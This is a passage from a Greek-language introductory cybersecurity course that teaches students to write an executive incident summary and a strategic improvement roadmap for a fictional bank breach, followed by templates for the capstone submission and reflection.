- **Να κάνετε:** Να είστε αντικειμενικοί, συνοπτικοί και επαγγελματικοί.
- **Μην:** Χρησιμοποιείτε ορολογία (SIEM, IOC, πλευρική κίνηση) εκτός αν την εξηγήσετε.
- **Να κάνετε:** Διατυπώστε τις συστάσεις ως **μείωση του επιχειρηματικού κινδύνου**.
- **Μην:** Υπερφορτώνετε με υπερβολικές λεπτομέρειες.

Βήμα 3: Παράδειγμα συνοπτικής παρουσίασης (NexaBank)

Συνοπτική παρουσίαση — Περιστατικό NexaBank (12 Απριλίου)
Στις 12 Απριλίου 2025, η NexaBank εντόπισε μη εξουσιοδοτημένη πρόσβαση στον διακομιστή της βάσης δεδομένων ανθρώπινου δυναμικού από μια ξένη διεύθυνση IP. Ο εισβολέας χρησιμοποίησε έναν παραβιασμένο λογαριασμό με δικαιώματα (dbadmin) για να υποκλέψει ευαίσθητα αρχεία υπαλλήλων.

Το Κέντρο Λειτουργιών Ασφάλειας (SOC) περιόρισε το περιστατικό απενεργοποιώντας τον λογαριασμό, απομονώνοντας τον επηρεαζόμενο διακομιστή και αποκλείοντας την εξερχόμενη κίνηση. Η εγκληματολογική έρευνα επιβεβαίωσε ότι έγινε πρόσβαση σε 214 αρχεία υπαλλήλων που περιείχαν προσωπικά αναγνωρίσιμες πληροφορίες (PII). Δεν επηρεάστηκαν δεδομένα πελατών ή οικονομικά δεδομένα.

Λόγω της έκθεσης των δεδομένων των Ευρωπαίων υπαλλήλων, η NexaBank ενδέχεται να υπόκειται στις απαιτήσεις αναφοράς του GDPR. Οι ομάδες Νομικών και Συμμόρφωσης εξετάζουν τις υποχρεώσεις.

Οι 3 κορυφαίες συστάσεις:

1. Εφαρμογή πολυπαραγοντικής ταυτότητας (MFA) σε όλους τους λογαριασμούς με προνόμια.
2. Ανάπτυξη και δοκιμή ενός εγχειριδίου για τη διαχείριση περιστατικών διαρροής δεδομένων.
3. Ξεκινήστε ένα πρόγραμμα ευαισθητοποίησης των υπαλλήλων σχετικά με την ασφάλεια των λογαριασμών και το phishing.

Βήμα 4: Άσκηση – Συντάξτε το δικό σας

Οι μαθητές πρέπει να συντάξουν μια **περίληψη 1 σελίδας** για το περιστατικό της NexaBank. Λίστα ελέγχου:

- Περιγραφή του περιστατικού
- Μέτρα περιορισμού
- Συστήματα/δεδομένα/χρήστες που επηρεάστηκαν
- Απαιτήσεις συμμόρφωσης/δημοσιοποίησης
- Οι 3 κορυφαίες συστάσεις

Βήμα 5: Παραδοτέο

- Υποβάλετε ένα **έγγραφο συνοπτικής παρουσίασης 1 σελίδας** (έτοιμο για την ηγεσία).
- Πρέπει να είναι σαφές, συνοπτικό και επικεντρωμένο στις επιχειρηματικές δραστηριότητες.

Πρότυπο συνοπτικής έκθεσης – Έκθεση μετά το συμβάν

Οργανισμός: _____

Τίτλος συμβάντος: _____

Ημερομηνία σύνταξης: _____

Συντάχθηκε από: _____

1. Σύνοψη συμβάντος

(Σύντομη περιγραφή — τι συνέβη, πότε και πώς εντοπίστηκε.)

_____

_____

2. Μέτρα περιορισμού

(Βασικά μέτρα που ελήφθησαν για τον έλεγχο του συμβάντος.)

_____

_____

3. Αξιολόγηση επιπτώσεων

(Συστήματα, δεδομένα και χρήστες που επηρεάστηκαν. Συμπεριλάβετε την εκτιμώμενη έκταση.)

_____

_____

4. Σημειώσεις συμμόρφωσης / γνωστοποίησης

(Πιθανές κανονιστικές υποχρεώσεις: GDPR, PCI DSS, HIPAA κ.λπ. Ποιοι ενδέχεται να πρέπει να ενημερωθούν;)

5. 3 κορυφαίες συστάσεις

(Κατά προτεραιότητα, σαφείς και προσανατολισμένες στις επιχειρήσεις.)

1.
2.
3.

6.4 Στρατηγικό σχέδιο βελτίωσης – Από το περιστατικό στην μακροπρόθεσμη ασφάλεια

Γιατί αυτό έχει σημασία

Ένα περιστατικό δεν πρέπει απλώς να κλείνεται και να ξεχνιέται.
Τα στελέχη αναμένουν ένα **σχέδιο με μακροπρόθεσμη προοπτική** που να δείχνει ότι το SOC δεν αντιδρά απλώς, αλλά **ενισχύει στρατηγικά την ασφάλεια** για την πρόληψη μελλοντικών παραβιάσεων.

Ένα ισχυρό **Στρατηγικό Σχέδιο Βελτίωσης** συνδέει:

- **Βραχυπρόθεσμες διορθώσεις** → άμεσους ελέγχους (εφαρμογή ενημερώσεων, MFA, εκπαίδευση)
- **Μεσοπρόθεσμες ενέργειες** → αλλαγές πολιτικών/διαδικασιών (νέα εγχειρίδια, τριμηνιαίες ασκήσεις)
- **Μακροπρόθεσμες πρωτοβουλίες** → αρχιτεκτονικές βελτιώσεις (Zero Trust, ρύθμιση SIEM, στάση στο cloud).

Βήμα 1: Προσδιορίστε τα βασικά διδάγματα

Βασίστε το σχέδιό σας στα εξής:

- **Βασική αιτία** → τι απέτυχε
- **Επιχειρηματικές επιπτώσεις** → τι έβλαψε περισσότερο
- **Διδάγματα** → τι πρέπει να αλλάξει
- **Συστάσεις** → τι πρέπει να έχει προτεραιότητα

Παράδειγμα (NexaBank):

- Βασική αιτία: Απουσία MFA σε λογαριασμούς με προνόμια
- Επιπτώσεις: Διαρροή προσωπικών δεδομένων υπαλλήλων
- Δίδαγμα: Αδύναμοι έλεγχοι ταυτότητας = υψηλός επιχειρηματικός κίνδυνος
- Σύσταση: Εφαρμογή MFA + ενίσχυση του IAM

Βήμα 2: Καθορισμός βραχυπρόθεσμων λύσεων

Γρήγορες λύσεις που μειώνουν την άμεση έκθεση.
Παραδείγματα:

- Εφαρμογή ελλειπόντων ενημερώσεων κώδικα στις υπηρεσίες VPN/SSH.
- Εφαρμογή MFA σε όλους τους λογαριασμούς διαχειριστή.
- Ενημέρωση και δοκιμή του εγχειριδίου «Διαρροή δεδομένων».
- Διεξαγωγή άμεσης εκστρατείας ευαισθητοποίησης σχετικά με το phishing.

Βήμα 3: Σχεδιάστε μεσοπρόθεσμες ενέργειες

Διατηρήστε τις βελτιώσεις κατά τους επόμενους 3–6 μήνες.
Παραδείγματα:

- Προγραμματίστε τριμηνιαίες ασκήσεις προσομοίωσης αντιμετώπισης περιστατικών.
- Δημιουργία αυτοματοποιημένων ροών εργασίας αναφοράς προς το Νομικό Τμήμα/Τμήμα Συμμόρφωσης.
- Βελτιώστε την καταγραφή των τερματικών συσκευών και συγκεντρώστε τα δεδομένα μέσω SIEM.

Βήμα 4: Σχεδιάστε τη μακροπρόθεσμη στρατηγική

Σκεφτείτε 12–24 μήνες μπροστά.
Παραδείγματα:

- Μετάβαση σε αρχιτεκτονική Zero Trust για απομακρυσμένη πρόσβαση.
- Επέκταση της διαχείρισης της ασφάλειας στο cloud.
- Εφαρμόστε προηγμένες ενσωματώσεις SIEM/EDR/XDR.
- Δημιουργήστε ένα πρόγραμμα ευαισθητοποίησης σε θέματα ασφάλειας με συνεχή ενίσχυση.

Βήμα 5: Άσκηση – Δημιουργήστε ένα στρατηγικό χάρτη πορείας

Οι μαθητές πρέπει να δημιουργήσουν έναν **οδικό χάρτη 3 επιπέδων** (βραχυπρόθεσμο, μεσοπρόθεσμο, μακροπρόθεσμο).

Πρωτοβουλία	**Κατηγορία (Βραχυπρόθεσμη/Μεσοπρόθεσμη/Μακροπρόθεσμη)**	**Υπεύθυνος**	**Προθεσμία Προτεραιότητα**
_____	Βραχυπρόθεσμο	_____	Υψηλή

Πρωτοβουλία	Κατηγορία (Βραχυπρόθεσμη/Μεσοπρόθεσμη/Μακροπρόθεσμη) Προτεραιότητα	Υπεύθυνος	Προθεσμία
_____	Μεσοπρόθεσμη	_____	Μεσοπρόθεσμη
_____	Μακροπρόθεσμη	_____	Χαμηλή

Βήμα 6: Παραδοτέο

- Υποβάλετε έναν **Στρατηγικό Οδικό Χάρτη Ασφάλειας** (2–3 σελίδες).
- Πρέπει να περιλαμβάνει:
    - Τουλάχιστον **2 βραχυπρόθεσμες**, **2 μεσοπρόθεσμες** και **2 μακροπρόθεσμες πρωτοβουλίες**
    - Υπεύθυνους και προθεσμίες
    - Σαφή σύνδεση με τα διδάγματα που αντλήθηκαν από το περιστατικό

Στρατηγικό σχέδιο βελτίωσης – Πρότυπο φύλλου εργασίας

Αριθμός υπόθεσης: _____

Τίτλος συμβάντος: _____

Ημερομηνία σύνταξης: _____

Συντάχθηκε από: _____

1. Βραχυπρόθεσμες λύσεις (0–G0 ημέρες)

---

2. Μεσοπρόθεσμες ενέργειες (3–6 μήνες)

---

3. Μακροπρόθεσμη στρατηγική (6–24 μήνες)

---

4. Πίνακας στρατηγικού οδικού χάρτη

Πρωτοβουλία	Κατηγορία	Υπεύθυνος	Προθεσμία	Προτεραιότητα
_____	Βραχυπρόθεσμη	_____		Υψηλή
_____	Μεσοπρόθεσμη	_____		Μεσαία
_____	Μακροπρόθεσμη	_____		Χαμηλό

6.5 Τελική ανασκόπηση και υποβολή – Ολοκλήρωση του Capstone

Γιατί αυτό έχει σημασία

Αυτή είναι η **κορύφωση του τελικού έργου**. Οι μαθητές:

- Διερεύνησαν μια προσομοιωμένη παραβίαση
- Περιορίσει και καταγράψει την απειλή
- Ανέλυσαν τους κινδύνους, τον αντίκτυπο και τα διδάγματα
- Προτείνουν πολιτικές και μακροπρόθεσμες βελτιώσεις
  Τώρα ήρθε η ώρα να **συσκευάσετε το έργο** και να αναλογιστείτε την πορεία.

Βήμα 1: Συγκέντρωση παραδοτέων

Οι μαθητές προετοιμάζουν ένα **τελικό πακέτο υποβολής** που περιλαμβάνει:

1. **Πλήρη έκθεση συμβάντος** (τεχνικές λεπτομέρειες, αποδεικτικά στοιχεία, χρονοδιάγραμμα)
2. **Χρονοδιάγραμμα επίθεσης** (βασικά γεγονότα από την πρώτη ειδοποίηση έως την αποκατάσταση)
3. **Συνοπτική παρουσίαση** (1 σελίδα, επιχειρηματική γλώσσα)
4. **Στρατηγικός χάρτης πορείας** (βραχυπρόθεσμες, μεσοπρόθεσμες και μακροπρόθεσμες βελτιώσεις)
5. *(Προαιρετικά)* Παρουσίαση ή διαγράμματα για τη διοίκηση

Βήμα 2: Αναστοχασμός σχετικά με την εμπειρία

Οι μαθητές γράφουν μια **ανασκόπηση 1–2 σελίδων**, εστιάζοντας στα εξής:

- **Δεξιότητες που αποκτήθηκαν** → π.χ. ανάλυση SIEM, έλεγχος αρχείων καταγραφής, διαχείριση μητρώου κινδύνων, επικοινωνία με τη διοίκηση
- **Προκλήσεις που αντιμετωπίστηκαν** → τεχνικά, οργανωτικά ή επικοινωνιακά εμπόδια
- **Ηθικές πτυχές** → εξισορρόπηση της τεχνικής αντίδρασης με τη συμμόρφωση και τη λογοδοσία

- **Μελλοντική ανάπτυξη** → σε ποιον τομέα επιθυμούν να εμβαθύνουν τις δεξιότητές τους στη συνέχεια (εγκληματολογία, ηγεσία SOC, ασφάλεια cloud κ.λπ.)

Παράδειγμα ερώτησης αναστοχασμού:

«Το πιο δύσκολο μέρος αυτού του συμβάντος ήταν η μετατροπή των τεχνικών ευρημάτων σε μια συνοπτική έκθεση για τη διοίκηση. Με ανάγκασε να σκεφτώ σαν ηγέτης και να επικεντρωθώ στον κίνδυνο, όχι μόνο στα IOC. Αυτό μου έμαθε τη σημασία της σαφούς επικοινωνίας στην κυβερνοασφάλεια.»

Βήμα 3: Λίστα ελέγχου υποβολής

Οι μαθητές επιβεβαιώνουν ότι όλα τα στοιχεία έχουν συμπεριληφθεί πριν από την υποβολή.

- Αναφορά συμβάντος (τεχνική)
- Χρονοδιάγραμμα επίθεσης
- Συνοπτική έκθεση (με έμφαση στις επιχειρήσεις)
- Στρατηγικός χάρτης πορείας (μελλοντικό σχέδιο)
- Έγγραφο αναστοχασμού
- Προαιρετικά: Διαφάνειες παρουσίασης ή οπτικό υλικό

Βήμα 4: Παραδοτέο

- Υποβάλετε το **τελικό χαρτοφυλάκιο Capstone** που περιέχει όλα τα απαιτούμενα έγγραφα.
- Αυτό χρησιμεύει τόσο ως **απόδειξη ολοκλήρωσης του μαθήματος** όσο και ως **τμήμα του χαρτοφυλακίου** που μπορούν να παρουσιάσουν οι φοιτητές.

Πρότυπο υποβολής τελικών αναστοχασμών

Όνομα: _____
Μάθημα: Εισαγωγή στην Κυβερνοασφάλεια – Έργο Capstone
Ημερομηνία: _____

1. Δεξιότητες που αποκτήθηκαν

2. Προκλήσεις που αντιμετωπίστηκαν

3. Ηθικές διαπιστώσεις

4. Τομείς μελλοντικής ανάπτυξης